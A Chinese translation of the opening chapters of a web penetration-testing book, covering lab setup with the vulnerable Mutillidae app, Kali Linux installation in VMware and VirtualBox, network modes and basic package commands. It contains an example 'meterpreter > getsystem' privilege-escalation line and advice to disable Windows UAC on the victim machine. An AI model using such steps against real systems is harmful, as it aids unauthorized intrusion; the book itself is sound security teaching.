Web-渗透测试实践指南-全-
Web 渗透测试实践指南(全)
原文:
annas-archive.org/md5/2bec77d8d398f0bc3890a26977afafe3译者:飞龙
前言
本书将教你如何从头到尾执行渗透测试。从前期准备阶段开始,你将学习架构阶段的威胁建模。接下来,你将参与源代码审查过程。之后,你还将学习如何执行 Web 应用程序和网络基础设施的渗透测试,最后,你将学会如何使用 Python 自动化整个过程。
本书适合谁阅读
本书适合那些希望深入了解 Web 渗透测试世界的安全专业人士和爱好者。本书将涉及许多主题,但在开始阅读之前,你需要具备道德黑客的基础知识(市面上有很多在线课程可以帮助你入门)。如果你是专业人士,我敢打赌,你会非常欣赏我提供的直观清单。事实上,我自己在渗透测试师的职业生涯中也经常使用它们。
为了充分利用本书
为了充分利用本书,你需要了解道德黑客的基础知识,并且需要搭建一个实验室。你将需要一款虚拟机软件(例如,VirtualBox 或 VMware)来虚拟化实验室环境。为了跟随示例,你还需要安装 Kali Linux。别担心,我会在第二章,Kali Linux 安装中讨论如何安装。Kali Linux 将作为攻击者机器,用来测试受害者机器的安全性。说到受害者主机,我建议你安装一个 Windows 7 虚拟机,并在其中安装一个名为 Mutillidae 的易受攻击的 Web 应用程序。同样,我会在第一章,搭建易受攻击的 Web 应用实验室中详细讲解如何搭建这个易受攻击的主机。最后,我将使用 Burp Suite 专业版,但你也可以使用这个工具的免费版进行跟随。不过,需要说明的是,我们将用于安全测试的所有工具都已经默认安装在 Kali Linux 中。
下载示例代码文件
你可以从你的账户在www.packtpub.com下载本书的示例代码文件。如果你从其他地方购买了本书,可以访问www.packtpub.com/support,注册后将文件直接发送到你的邮箱。
你可以按照以下步骤下载代码文件:
-
登录或注册 www.packtpub.com。
-
选择“SUPPORT”选项卡。
-
点击“代码下载与勘误”。
-
在搜索框中输入书名,并按照屏幕上的指示操作。
一旦文件下载完成,请确保使用以下最新版本的工具解压或提取文件夹:
-
Windows 的 WinRAR/7-Zip
-
Mac 的 Zipeg/iZip/UnRarX
-
Linux 的 7-Zip/PeaZip
本书的代码包也托管在 GitHub 上,地址为 github.com/PacktPublishing/Practical-Web-Penetration-Testing。如果代码有任何更新,将会在现有的 GitHub 仓库中更新。
我们的书籍和视频目录中还提供了其他代码包,您可以在github.com/PacktPublishing/ 查看。快来看看吧!
下载彩色图像
我们还提供了一个 PDF 文件,包含本书中使用的截图/图表的彩色图像。你可以在这里下载:www.packtpub.com/sites/default/files/downloads/PracticalWebPenetrationTesting_ColorImages.pdf。
使用的约定
本书中使用了若干文本约定。
CodeInText:表示文本中的代码词汇、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。举个例子:“-y 选项在 upgrade 命令中会自动接受提示。”
一段代码如下所示:
class ServiceDTO:
# Class Constructor
def __init__(self, port, name, description):
self.description = description
self.port = port
self.name = name
任何命令行输入或输出如下所示:
meterpreter > getsystem
粗体:表示一个新术语、重要词汇或屏幕上看到的词汇。例如,菜单或对话框中的词汇在文本中是这样显示的。举个例子:“点击 继续,你的系统将重新启动。”
警告或重要提示以这种方式出现。提示和技巧以这种方式出现。
联系我们
我们始终欢迎读者的反馈。
一般反馈:请通过电子邮件feedback@packtpub.com联系我们,并在邮件主题中提及书名。如果你对本书的任何方面有疑问,请通过questions@packtpub.com与我们联系。
勘误:尽管我们已经尽一切努力确保内容的准确性,但错误还是难免。如果你在本书中发现了错误,我们将非常感激你向我们报告。请访问 www.packtpub.com/submit-errata,选择你的书籍,点击勘误提交表单链接,并输入详细信息。
盗版:如果你在互联网上发现我们的作品以任何形式的非法复制,若你能提供相关网址或网站名称,我们将不胜感激。请通过copyright@packtpub.com联系我们,并附上该材料的链接。
如果你有兴趣成为一名作者:如果你在某个领域拥有专业知识,并且有兴趣撰写或为书籍贡献内容,请访问 authors.packtpub.com。
评论
请留下评论。在您阅读并使用完本书后,为什么不在购买该书的网站上留下评论呢?潜在读者可以根据您的客观意见做出购买决策,我们 Packt 可以了解您对我们产品的看法,而我们的作者也能看到您对他们书籍的反馈。感谢您!
欲了解更多关于 Packt 的信息,请访问 packtpub.com。
免责声明
本书中的信息仅供以伦理方式使用。如果您没有设备所有者的书面许可,请勿使用书中的任何信息。如果您进行非法行为,您可能会被逮捕并依法起诉。Packt 出版社不对您滥用书中信息承担任何责任。此处的信息仅能在经过适当授权的测试环境中使用,并需获得相关责任人的书面许可。
第一章:构建一个易受攻击的 Web 应用实验室
在了解 Web 应用漏洞的工作原理时,第一步是要有一个探索这些漏洞的环境,比如 SQL 注入和跨站脚本。如果这是你第一次听说这些漏洞类型,不用担心,我们会在本书后面更深入地讲解它们。
在本章中,我将向你展示如何安装一个名为Mutillidae的易受攻击的 Web 应用。我知道这个名字听起来有点怪,其实,Mutillidae 是一种蚂蚁(如果你想知道这个词是什么意思的话)。
在本章中,你将学习如何在 Windows 或 Ubuntu Linux 上安装该应用程序;我会把选择权留给你。
在本章中,我们将涉及以下内容:
-
下载 Mutillidae
-
在 Windows 机器上安装 Mutillidae
-
在 Linux Ubuntu 主机上安装 Mutillidae
-
熟悉 Mutillidae
-
介绍 OWASP 社区
下载 Mutillidae
下载 Mutillidae 的最佳方式是通过sourceforge.net/。这款 Web 应用的旧版本也存在于 Metasploitable 2 虚拟机(VM)中。如果你在想 Metasploitable 是什么,它是另一个虚拟机,里面充满了漏洞,供安全专业人员进行测试。
最好从 SourceForge 获取最新版本,网址是sourceforge.net/projects/mutillidae/:

要下载它,你只需要点击下载按钮,你就能在 Windows 和 Linux 上准备好安装。最新版本(在写这本书时)是 2.6;等你阅读时,可能会有更新的版本,带来更多令人兴奋的功能。值得一提的是,这个应用的所有者始终在致力于增强其功能。
在 Windows 上安装 Mutillidae
Mutillidae 可以轻松地安装在 Windows 操作系统上。在这个例子中,我将它安装在 Windows 7 上(这只是个人选择)。
首先,我们将下载并安装 XAMPP,XAMPP 代表 Apache、MySQL、PHP 和 Perl(开头的 X 表示该应用程序是跨平台的——在 Windows 上,有些人称之为 WAMPP,直接将 X 替换为 W)。所以,正如你可能已经猜到的,安装 XAMPP 后,你将拥有 Apache(Web 服务器)、MySQL(数据库)和 PHP(编程语言)。
下载并安装 XAMPP
要下载 XAMPP,请浏览到www.apachefriends.org/download.html,然后从列表中选择最新版本,就像我这边是 7.1.10(见下图)。然后,点击下载按钮,将其保存到你的本地 Windows 机器中:

在开始安装 XAMPP 之前,我们需要更改 Windows 用户帐户控制设置。为此,打开控制面板并点击“用户帐户”。当新对话框打开时,点击“更改用户帐户控制设置”:

在 UAC 窗口中,你需要将滑块完全拖到底部,并点击 OK 按钮以保存更改:

现在是安装 XAMPP(或 WAMPP)的时间了。双击下载的文件以开始安装过程,在第一个对话框中点击“下一步”按钮。在下一个窗口中,接受所有默认组件,然后点击“下一步”:

在下一步中,你需要选择一个文件夹来安装 XAMPP。一般情况下,我将其保持为默认路径 C:\xamp,然后点击“下一步”。
完成后,系统会提示你是否希望了解 Bitnami。我建议保持勾选状态,然后点击“下一步”。
在此阶段,设置已经准备好开始安装 XAMPP。点击最后一个“下一步”按钮,最终你将看到安装对话框。
安装完成后,系统会询问你是否希望启动控制面板;保持勾选状态,这样我们可以启动安装 Mutillidae 所需的服务。
在开始时,控制面板中的服务已被停止。我们需要通过点击它们的“启动”按钮来启动 Apache 和 MySQL 服务:

Mutillidae 安装
我假设你已经按照本章之前的指示下载了 Mutillidae。解压压缩档案文件,复制 mutillidae 文件夹,并将其粘贴到 C:\xamp\htdocs 文件夹中。
为了从内网访问 Mutillidae 网站,我们需要调整配置文件 .htaccess。打开你刚刚复制的 Mutillidae 文件夹,.htaccess 文件就在里面(用记事本打开):

由于我的网络 IP 地址范围是 10.0.0.0/24,我将在 allow 部分添加 Allow from 10.:

打开浏览器,输入 http://[你的机器 IP]/mutillidae。页面加载后,点击设置/重置数据库链接,Mutillidae 将开始安装。如果一切正常,系统会告诉你在重置数据库时未检测到任何错误。
最终!Mutillidae 的安装完成:

看这个!我们已经成功启动了 Mutillidae 首页,它正在大声呼喊,黑客攻击我,拜托:

在 Linux 上安装 Mutillidae
你可能不喜欢 Windows,因此 Linux 可能是你最喜欢的操作系统,你会更愿意在 Linux 上安装 Mutillidae。在这一部分,我将使用 Ubuntu 版本 17.10 来安装 Mutillidae。如果你跳过了 Windows 安装部分,告诉你,在安装 Mutillidae 之前,你需要先在 Linux 上安装 XAMPP。现在,如果你不知道 XAMPP 是什么,别担心;它是指 Apache、MySQL、PHP 和 Perl。X 前缀表示该应用程序是跨平台的(在 Linux 上它也叫 LAMPP,L 代表 Linux)。所以,正如你可能猜到的那样,通过安装 XAMPP,你将得到 Apache(Web 服务器)、MySQL(数据库)和 PHP(编程语言)。
正在下载和安装 XAMPP
要下载 XAMPP,请浏览到 www.apachefriends.org/download.html,然后从列表中选择最新版本,在我的例子中是 7.1.1(见下图)。然后,点击下载按钮将其保存到本地机器上:

打开终端窗口,确保当前目录是文件所在位置(在我的例子中,是 Downloads 文件夹)。接下来,你需要使用以下命令授予安装程序执行权限:

现在,安装程序已经具有执行权限,让我们运行它:

执行安装程序后,你将被提示几个问题;按字母 Y 表示同意并继续:

在开始安装 XAMPP 之前,输入最终的Y:

好了!XAMPP 已经在 Ubuntu 机器上成功安装:

恭喜!你刚刚完成了 XAMPP 的安装。请注意,LAMPP 安装在 /opt/lampp 路径下,你将在哪里管理你的 Web 项目。
Mutillidae 安装
我假设你已经按照之前的描述下载了 Mutillidae。首先,你需要解压压缩的归档文件。右键点击并从菜单中选择“提取到此处”。
接下来,将 mutillidae 文件夹复制到 /opt/lampp/htdocs 文件夹中:

复制 mutillidae 文件夹后,切换目录到 /opt/lampp,并启动 XAMPP 服务器:

打开浏览器,输入 http://[Ubuntu IP 地址]/mutillidae,将 IP 地址替换为你在安装 XAMPP 的 Ubuntu 主机上的本地 IP 地址。或者,如果你在 Ubuntu 服务器上的浏览器中使用,直接使用 localhost 即可。要获取 Linux 上的本地 IP 地址,在终端窗口中输入命令 ifconfig:

别慌!当页面首次加载时,它会要求您设置服务器。为此,请点击设置/重置数据库链接,Mutillidae 将安装在 XAMPP 服务器上:

完美!根据弹出的消息,Mutillidae 安装成功,没有错误。此时,您只需要点击“确定”按钮,系统将把您重定向到 Mutillidae 的主页。厉害吧?
使用 Mutillidae
恭喜!现在您已经在 Windows 或 Linux 上成功安装了 Mutillidae。您应该可以从任何同一子网掩码的主机访问它。我邀请您通过点击顶部和左侧菜单来开始熟悉该站点。
用户注册
让我快速介绍一下如何开始使用 Mutillidae。
首先,让我们注册一个账户,用于本书后续的渗透测试。在顶部菜单中,点击“登录/注册”按钮,您将被重定向到登录页面:

你猜对了!在此页面上,点击“请在此注册”以进入注册页面。让我们注册一个用户名为 gus,密码为超级秘密的 password123:

最后,点击“创建账户”按钮以创建账户:

显示提示和设置安全等级
本应用程序是为那些希望练习 Web 应用程序漏洞的专业人员设计的。(例如,SQL 注入、跨站脚本攻击等等。别担心,您将在本书后续章节中学习到这些。)在练习时,Mutillidae 提供了显示提示的选项,以防您遇到困难,无法找到您要解决的漏洞。
首先,在顶部菜单中点击“切换提示”按钮来启用/禁用提示。接下来,点击“显示弹出提示”来启用弹出提示,您会注意到文本会变为“隐藏弹出提示”,以防您改变主意并希望再次禁用它:

您还可以更改破解此应用程序的复杂性等级。默认情况下,安全性设置为 0(完全脆弱);点击“切换安全性”按钮,级别将更改为 1(客户端激活)。再点击一次,级别 5 将激活(服务器端)。如果您想返回到级别 0,请在级别 5 时点击“切换安全性”,它应该会回到 1。接下来我会将它保持在级别 1,直到本书结束。
应用重置
有时事情可能会出错,应用程序可能会停止工作。如果 Mutillidae 出现这种情况,意味着您的应用程序生病了,需要一些药物。开个玩笑!您只需要做的是重置它。重置 Mutillidae 非常简单;只需点击顶部菜单栏中的“重置数据库”按钮,您的应用程序将焕然一新。
OWASP 前 10 名
开放 Web 应用安全项目(OWASP)是一个致力于帮助个人和组织解决应用安全问题的社区。如果你将作为 AppSec 专家工作,那么 OWASP 应该是你的圣经;他们有大量的帮助章节,可以让你的工作变得更轻松。只需按照他们的指南和教程进行操作,访问www.owasp.org。
OWASP 社区定义了与 Web 应用相关的前 10 个漏洞。至于 Mutillidae,它为这些漏洞专门设置了一个菜单。在左侧菜单中,你将看到按年份组织的 OWASP 项目(最新的是 2017 年的 OWASP 前 10 名;参见以下截图)。OWASP 始终保持该列表更新,以反映最新的 Web 漏洞:

我在本书后面的章节中专门讨论了这些漏洞。现在,先尝试熟悉一下菜单项目。
总结
恭喜大家!你们刚刚完成了第一章,希望你们喜欢这章内容并学到了一些新东西。让我们回顾一下这一章的内容:
-
Mutillidae 是什么
-
如何下载 Mutillidae(以及在哪里找到它)
-
在 Windows 上安装 XAMPP
-
在 Windows 上安装 Mutillidae
-
在 Ubuntu Linux 上安装 XAMPP
-
在 Ubuntu Linux 上安装 Mutillidae
-
在 Mutillidae 中注册新用户
-
在 Mutillidae 中显示提示
-
OWASP 是什么,它与 Mutillidae 有什么关系
在下一章,你将学习如何安装你的渗透测试机器——Kali Linux。
第二章:Kali Linux 安装
所以,你是 Kali Linux 的新手,对吧?(如果你曾经安装过 Kali Linux,你可以跳过本章。)欢迎来到黑客的玩具:Kali Linux。你兴奋吗?你还没有看到真正的内容!这个神奇的操作系统将带你进入更高的安全成就。
到本章结束时,你将学会如何安装 Kali Linux;在下一章中,你将深入学习如何使用这个操作系统。
我们已经创建了受害者机器(Mutillidae 主机),所以现在是时候创建攻击机器了。在本章中,我们将涵盖:
-
Kali Linux 简介
-
如何从零开始安装 Kali Linux
-
如何在 VMware 上安装 Kali
-
如何在 VirtualBox 上安装 Kali
介绍 Kali Linux
Kali Linux 到底是什么?
Kali Linux(以前叫做 BackTrack)是一个免费的、开源的、基于 Debian 的 Linux 发行版。这个操作系统安装了数百个应用程序,可以帮助我们进行成功的渗透测试。
你猜怎么着?Kali Linux 也被坏黑客(也就是黑帽黑客)使用。这意味着我们(安全专家)将得到更准确的结果,因为我们使用的工具和坏人用来入侵系统的工具是一样的。
你可以将这个“怪兽”安装在任何虚拟化主机上(VMware、VirtualBox 或 HyperV)。另外,你还可以将它安装在基于 ARM 处理器的计算机上,例如 Raspberry Pi。
最后,你需要知道 Kali Linux 是由 Offensive Security 开发、资助和维护的,你可以访问他们的网站:www.Kali.org。
从零开始安装 Kali Linux
假设你有一台笔记本电脑或专用主机,并且你想安装 Kali Linux。按照本节中的步骤,你可以将这个“怪兽”安装到你的机器上。另外,你还可以在虚拟机上安装一个全新的副本(如果你想自己了解安装过程的细节),但 Kali Linux 提供了预先构建的虚拟机,我们将在本章后面学习它们。
-
首先,你需要下载 Kali。只需浏览到
www.kali.org/downloads,你将进入这个操作系统(OS)的下载页面。 -
我将选择 2018.1 64 位版本,并点击 HTTP 链接直接下载到我的机器上。下载完成后,你需要将 ISO 文件复制到可启动 USB 驱动器上。你可能在问自己一个问题:我如何让我的 USB 可启动?有一个我总是用来创建可启动 USB 的 Windows 工具,叫做 Win32 Disk Imager。你可以在
sourceforge.net/projects/win32diskimager下载这个工具,而且它是免费的! -
我假设你已经创建了 Kali 的可启动 USB 副本,并且你刚刚启动了物理机器。在第一个屏幕上,你需要选择图形安装选项:

-
当你按下Enter键时,你需要选择语言;我会选择英语,并点击继续按钮。接下来,你需要选择所在的国家,所以我会选择加拿大,因为它是我的家乡,然后点击继续按钮。接着,你要选择键盘布局。在我这里,我会选择美式英语。然后我们可以进入下一步。
-
此时,系统会提示你输入 Kali 机器的主机名。这由你自己决定,命名什么都可以。
-
接下来,输入你的本地域名。如果你没有,可以随便写一个
workgroup,或者任何对你有意义的名称(我有一个本地域名叫home.lan):

- 在下一步中,你需要为 Kali 的 root 账户设置密码,并确认两次,然后点击继续。之后,系统会要求你配置时钟。我住在东部时区,你的时区可能不同,具体取决于你所在的城市:

- 现在,是时候设置分区进行安装了。我通常会选择“引导 - 使用整个磁盘”(用于未加密的安装)或“引导 - 使用整个磁盘并设置加密 LVM”(用于加密安装——这种设置会加密你的磁盘驱动器)。我会选择前者,但如果你在物理机器上安装,特别是笔记本电脑,我强烈建议你选择加密设置:

- 接下来,你需要选择安装 Kali 的磁盘分区。大多数情况下,你只会看到一个大的分区,选择它并点击继续:

-
在下一个屏幕中,选择将所有文件放在一个分区中;这就是我为 Kali 始终选择的选项。如果你是一个资深极客,想要分开分区,可以随意选择。
-
完成此步骤后,系统会要求你完成分区并将更改写入磁盘;你还能选择什么呢,对吧?
选择“是”以将更改写入磁盘。
最终!安装将开始,根据你的机器,可能需要几分钟才能完成。
还没到庆祝的时候;在你开始使用 Kali 之前,还有几个步骤。当安装完成后,系统会要求你选择一个网络镜像。选择“是”并继续(你将需要这个网络镜像来更新你的 Kali Linux)。
- 完成这一步后,除非你的网络中有代理,否则请保持代理文本框为空:

离完成只差一步了。在下一个屏幕上,系统会要求你选择是否安装 GRUB 启动加载程序。我会选择“是”,因为我喜欢这个功能。这个选项将允许 GRUB 安装到主引导记录(即启动机器时看到的第一个屏幕)。
- 接下来,你需要选择 GRUB 启动加载程序的磁盘分区。在这种情况下,你只会看到一个选项,因此选择它继续:

在此阶段,将执行最终的安装(完成设置过程),并且会显示一条信息,告诉你 Kali 已准备好。太棒了!
- 点击继续,系统将重新启动。当你进入登录界面时,输入用户名
root,然后输入在安装过程中选择的密码。
在 VMware 上安装 Kali
如果你有VMware并且想在其上安装 Kali Linux,那么这个部分适合你。在前面的部分中,你看到了如何从零开始安装 Kali,但如果你有 VMware,就不需要那样做。你需要做的只是下载映像文件并将其导入 VMware,就可以开始使用了:
- 要下载 VMware 映像文件,请访问
www.kali.org/downloads,然后稍微向下滚动,直到看到以下部分:

- 请按照链接访问 Offensive Security 下载页面。在该页面上,你将看到一个表格,其中包含了 VMware 的虚拟映像副本:

- 选择 32 位或 64 位版本,并将其下载到本地计算机。然后,你需要将其导入 VMware,因此找到文件菜单(点击它),然后点击打开:

- 会弹出一个对话框,你应该选择你下载的映像文件。一旦 Kali 被导入 VMware,你需要更改其默认设置。为此,点击编辑虚拟机设置:

- 首先,你需要检查内存设置。点击内存设备,确保至少有 2,048 MB(2 GB)的内存。如果你的主机性能较好,最好将其增加到 4 GB:

- 接下来,点击处理器设备,确保你的 Kali Linux 主机有足够的处理能力。要对你的新机器宽容一些:

- 现在是时候设置网络设置了。如果你想将虚拟机与本地网络(LAN)隔离,那么你需要选择 NAT 选项。如果选择 NAT,你的虚拟机将会自动分配一个动态 IP 地址,使用虚拟 DHCP 服务器(查看接下来的章节,桥接模式与 NAT 与内部网络,获取更多详情):

- 当你使用虚拟机时,你需要在 Kali Linux 和本地机器之间共享文件。为此,你需要一个共享文件夹。要添加一个,点击选项标签并选择“始终启用”单选按钮。然后,点击“添加...”按钮,指向你本地机器的文件夹。此设置特定于 Windows,但在 macOS 上也非常相似:

- 现在,你可以启动 Kali 虚拟机,但在第一次启动时,我建议你安装 VMware 工具。为此,打开你的终端窗口并执行以下命令:
apt-get update && apt -y full-upgrade
reboot
# After reboot
apt -y install open-vm-tools-desktop fuse
reboot
有时候,共享文件夹不会开箱即用。要启用它们,你需要在终端窗口执行以下脚本:
cat <<EOF > /usr/local/sbin/mount-shared-folders
#!/bin/bash
vmware-hgfsclient | while read folder; do
vmwpath="/mnt/hgfs/\${folder}"
echo "[i] Mounting \${folder} (\${vmwpath})"
mkdir -p "\${vmwpath}"
umount -f "\${vmwpath}" 2>/dev/null
vmhgfs-fuse -o allow_other -o auto_unmount ".host:/\${folder}" "\${vmwpath}"
done
sleep 2s
EOF
chmod +x /usr/local/sbin/mount-shared-folders
如果你希望操作更简单,可以通过在终端窗口执行以下脚本,添加一个桌面快捷方式:
ln -sf /usr/local/sbin/mount-shared-folders /root/Desktop/mount-shared-folders.sh
gsettings set org.gnome.nautilus.preferences executable-text-activation 'ask
在 VirtualBox 中安装 Kali
VirtualBox 是一款非常流行的虚拟化产品,因为它是免费的,并且提供专业的功能。你很可能会使用 VirtualBox 作为你的虚拟化环境。我的基础机器是 Windows 或 macOS,我在其上安装了 VirtualBox,因此我可以使用 Kali Linux 进行渗透测试任务。
Kali 为我们提供了预构建的 VirtualBox 镜像,因此我们只需导入它们,并立即开始使用 Kali。是不是很棒?请参见以下步骤:
- 要下载 VirtualBox 镜像文件,访问
www.kali.org/downloads,然后稍微向下滚动,直到你看到以下部分:

- 访问链接到攻击性安全下载页面。在该页面中,你会看到一个包含虚拟镜像文件的表格,适用于 VirtualBox:

-
选择 32 位或 64 位版本,并将其下载到本地机器。然后,你需要将其导入到 VirtualBox 中,打开 VirtualBox,找到文件菜单(并点击它),然后点击导入虚拟机(我在此演示中使用的是 macOS,Windows 应该非常相似)。
-
一旦 Kali 被导入到 VirtualBox 中,你需要修改其默认设置。为此,选择新的虚拟机,并点击设置按钮。
-
首先,我们需要检查内存设置。点击系统标签页,然后点击主板子标签。确保你至少有 2,048 MB(2 GB)的内存。如果你的主机性能良好,建议将内存增加到 4 GB:

- 接下来,点击处理器子标签,确保 CPU 游标位于绿色区域和橙色区域之间,如下图所示:

- 现在,是时候设置网络设置了。如果你希望将虚拟机与本地局域网(LAN)隔离开,那么你需要选择 NAT 或 NAT 网络。选择 NAT 时将始终分配相同的 IP 地址,但如果你选择 NAT 网络,虚拟机将会自动分配一个动态 IP 地址,使用虚拟 DHCP 服务器:

- 如果你选择了 NAT 网络选项,你需要退出设置窗口并选择 VirtualBox 菜单,然后点击偏好设置。接着,选择网络标签页,并点击 NAT 网络子标签页。最后,点击右侧的添加按钮(加号所在位置,如下截图所示),一个新的网络将自动为你创建:

- 如果你是一个技术宅,想要重命名网络或分配特定的 IP 地址范围,你需要点击编辑按钮(在添加按钮下方,图标是一个刷子)。你会看到一个弹出窗口,可以在其中根据个人喜好调整设置:

- 使用虚拟机时,你需要在 Kali Linux 和本地机器之间共享文件。为了实现这一点,你需要一个共享文件夹。让我们回到虚拟机设置,选择共享文件夹标签页。然后,点击右侧的添加按钮。一个弹出窗口将打开,在其中你可以输入本地机器(Windows 或 macOS)中共享文件夹的路径,并给你的共享文件夹命名。我个人也使用了自动挂载选项,以确保每次启动 Kali 主机时该功能都能正常工作:

- 现在,你可以启动你的 Kali 虚拟机了。在第一次启动时,我建议你安装 VirtualBox 客户端增强工具。为此,打开终端窗口并执行以下三个命令:
apt-get update
apt-get install -y virtualbox-guest-x11
reboot
在执行 reboot 命令后,你的虚拟机会重启。你将准备好开始使用出色的操作系统 Kali Linux!
桥接模式 versus NAT 模式 versus 内部网络
大家对于 VirtualBox 和 VMware 中网络配置的工作方式完全感到困惑。最受欢迎的三种配置是桥接模式、NAT 模式和内部网络。
我们从最简单的选项开始,那就是桥接网络。这个架构将让你的 Kali Linux 直接连接到你的网络(LAN),并从家庭路由器获取自动的 IP 地址。所以,如果你的网络是 192.168.0.0,那么你的 Kali IP 地址会是类似 192.168.0.x 的形式(例如,192.168.0.101)。现在,你可以通过 Kali Linux 与网络中的机器进行交互:

有些人害怕将 Kali 连接到网络,因为它是开放的,能够连接到个人计算机。如果你对此感到焦虑,你可以选择 NAT 或 NAT 网络(在 VirtualBox 中)。如果你使用 VirtualBox,建议使用 NAT 网络,而不是 NAT,因为 NAT 网络会自动分配 IP 地址(有关此架构的更多实现细节,请参见在 VirtualBox 上安装 Kali一节)。当你选择 NAT(或 NAT 网络)时,你的 Kali 主机会被分配一组不同的 IP 地址。例如,如果你家庭网络的 IP 地址范围是192.168.0.0,那么使用 NAT 时,你应该使用一个不同的虚拟局域网(VLAN),例如10.0.0.0:

内部网络是为特定的人群设计的,这些人希望将计算机完全与局域网(LAN)和广域网(WAN)隔离。你可能会问自己以下问题:这一切的目的是什么?如果你提前知道自己在测试一台安装了恶意软件的虚拟机,你将使用这种架构。此外,当安全专家与他们不信任的夺旗(CTF)机器进行交互时,也会使用这种架构:

更新 Kali Linux
在开始使用你的 Kali Linux 机器之前,你需要确保你的系统是最新的。更新 Kali Linux 的命令非常简单,你会习惯它的,因为你至少每周需要执行一次,或者在安装任何新应用之前执行:
apt-get update
apt-get upgrade -y
reboot
upgrade命令中的-y会自动接受提示。你不需要每次升级时都按Y键来确认。
你可能很好奇 Kali 的更新仓库配置文件在哪里。该配置文件的路径是/etc/apt/sources.list(行首的#表示该行被注释掉):

总结
到这一步,你已经准备好开始使用 Kali Linux 了。在下一章,你将通过掌握操作系统的使用技巧,将自己的技能提升到一个新的水平。
我喜欢把总结简洁一些,不想用无用的细节让你感到无聊。希望你喜欢这一章,也学会了如何从零开始下载并安装 Kali Linux。我假设你已经学会了如何在 VMware 或 VirtualBox 上安装 Kali;别忘了为这两者都安装额外的工具。
最后提醒一下,别忘了在进入下一章之前更新你的 Kali Linux 主机。
第三章:深入探讨 Kali Linux 的使用
我非常兴奋能写下这一章,并分享你需要掌握 Kali Linux 使用的所有信息。本章中的很多内容在 Debian Linux 发行版中也很常见,到本章结束时,你将能够像真正的黑客一样轻松使用 Kali Linux。说到黑客,值得一提的是,Kali Linux 被黑帽黑客和专业渗透测试员广泛使用。我一直在我的任务中使用它,并且偶尔(但很少)使用 Microsoft Windows 操作系统。
Kali Linux 包含大量专用于渗透测试的工具,一次性适应所有这些工具将是一个巨大的挑战。在本章中,我将向你展示我最常用的命令。我在执行任务时会随身携带它们,以便操作 Kali Linux 系统。你将看到本章中有很多命令;将它们作为备忘单,帮助你达成目标。这只是如何将 Kali Linux 用作操作系统的开始,在接下来的章节中,你将学习 Kali 中安装的渗透测试工具。
在开始阅读本章之前,我想强调使用终端窗口的重要性。如果你想在使用 Kali Linux 方面表现出色,你应该把所有精力集中在掌握终端窗口的使用技巧上。实际上,除非某些工具是为像 Burp 这样的任务设计的,否则我几乎不使用 GUI;那只是一个例外,朋友们。
你激动吗?在这一章中,你将学到以下内容:
-
Kali Linux 文件系统结构
-
处理应用程序和软件包
-
在 Kali 中管理文件系统
-
Kali 安全管理
-
处理安全外壳
-
配置 Kali 中的网络服务
-
进程管理命令
-
系统信息命令
Kali 文件系统结构
你首先需要理解的是 Kali Linux 的文件系统结构,它基于 Debian 发行版的文件系统。如果你以前使用过 Microsoft Windows 操作系统,那么 Linux 的结构会与之有些相似。例如,Windows 从C:\目录开始,而 Linux 操作系统从**/**开始,这个目录被称为root目录。
在 Kali 中使用的root目录(**/**)和根home目录(/root)并不相同。后者是 root 用户的主目录。
在 Kali 中,我们始终使用 root 用户登录到我们的机器,这意味着你在操作系统中没有任何限制。Linux 系统中的每个组件都是基于文件的;四处查看是可以的,但如果你决定更改任何配置文件,请小心。
Kali 中的目录结构基于 Unix 的文件系统层次标准(FHS),该标准定义了 Linux 的目录及其内容:

| 目录 | 内容描述 |
|---|---|
/bin |
所有用户的基本系统命令二进制文件。(例如,grep,ls,cat。类似 Windows 中的c:\Windows\System32。) |
/boot |
包含启动加载器、内核和initrd文件。 |
/dev |
该目录包含指向各种设备的位置指针。 |
/etc |
该文件夹包含所有的管理/配置文件和密码。 |
| `/lib** | **/bin/和/sbin/` 中二进制文件所需的库。 |
/lost+found |
之前恢复的文件。 |
/mnt |
包含临时挂载的目录。 |
/media |
可移动媒体的挂载目录,如 CD-ROM。 |
/opt |
附加应用软件包(预编译的,非.deb二进制分发文件(压缩文件)存放在这里)。 |
/proc |
包含内核和进程状态(通常是文本文件,例如,系统运行时间和网络信息)。 |
/root |
根用户的主目录。 |
/sbin |
包含专用于管理命令的系统二进制文件(例如,守护进程,init,route等)。 |
/tmp |
一个临时文件夹,包含用于短时间内的文件。 |
/srv |
系统提供的某些特定数据。 |
/sys |
与/proc非常相似。 |
/home |
包含用户的主目录。 |
| /usr | 包含只读数据(以前来自 UNIX 源代码库;现在来自 UNIX 系统resources):
-
/usr/bin/:与顶级层次相同 -
/usr/include/:标准包含文件 -
/usr/lib/:与顶级层次相同 -
/usr/sbin/:与顶级层次相同 -
/usr/share/:与架构无关(共享)数据 -
/usr/src/:源代码(用于构建 Debian 软件包 - 请参见/usr/local/src/) -
/usr/X11R6/:X Window 系统,版本 11,第 6 版 -
/usr/local/:系统管理员安装的本地数据的三级层次 -
/usr/local/bin:本地编译的二进制文件、本地 Shell 脚本等 -
/usr/local/src:源代码(提取和构建非 Debian 化软件的地方)
|
/var |
包含可变数据(例如,网站、日志、数据库等)。 |
|---|
处理应用程序和软件包
Kali Linux 软件包存储在仓库中,并下载到系统中以确保软件包的完整性。请确保始终更新系统,如前一章所述。仓库配置文件位于/etc/apt/sources.list。确保该文件不为空(如果在安装过程中没有选择网络镜像选项,它会为空);如果为空,你的 Kali 将无法更新。
高级打包工具
高级打包工具(APT)用于安装或升级软件包,并处理所有必需的依赖项。APT 还可以用于升级完整的 Kali 发行版:
-
apt-get update或apt update:此命令用于将本地软件包索引文件与其源进行同步,源定义在/etc/apt/sources.list中。在执行upgrade或dist-upgrade之前,应始终先使用update命令。 -
apt-get upgrade或apt upgrade:此命令用于安装系统上已安装的所有软件包的最新版本,使用/etc/apt/sources.list。upgrade命令不会更改或删除未升级的软件包,并且不会安装尚未安装的软件包。与此命令一起使用-y开关,以自动接受提示消息。 -
apt-get dist-upgrade或apt dist-upgrade:此命令升级系统上当前安装的所有软件包及其依赖项。它还会从系统中删除过时的软件包。与此命令一起使用-y开关,以自动接受提示消息。
要完全升级您的 Kali Linux 操作系统,请使用以下命令:
apt update
apt dist-upgrade -y
**reboot**
您可以通过使用&& apt update && apt dist-upgrade -y && reboot将前面三个命令组合成一个命令。
- 要显示软件包的完整描述并识别其依赖项,请使用以下命令:
apt-cache show [package name]
- 要从 Kali 中删除一个软件包,请使用以下命令:
apt-get remove [package name]
- 要从存储库安装应用程序,请使用以下命令:
apt-get install [application name]
有时,您会从网络上下载应用程序,并且需要使用以下命令进行安装:
./configure && make && make install
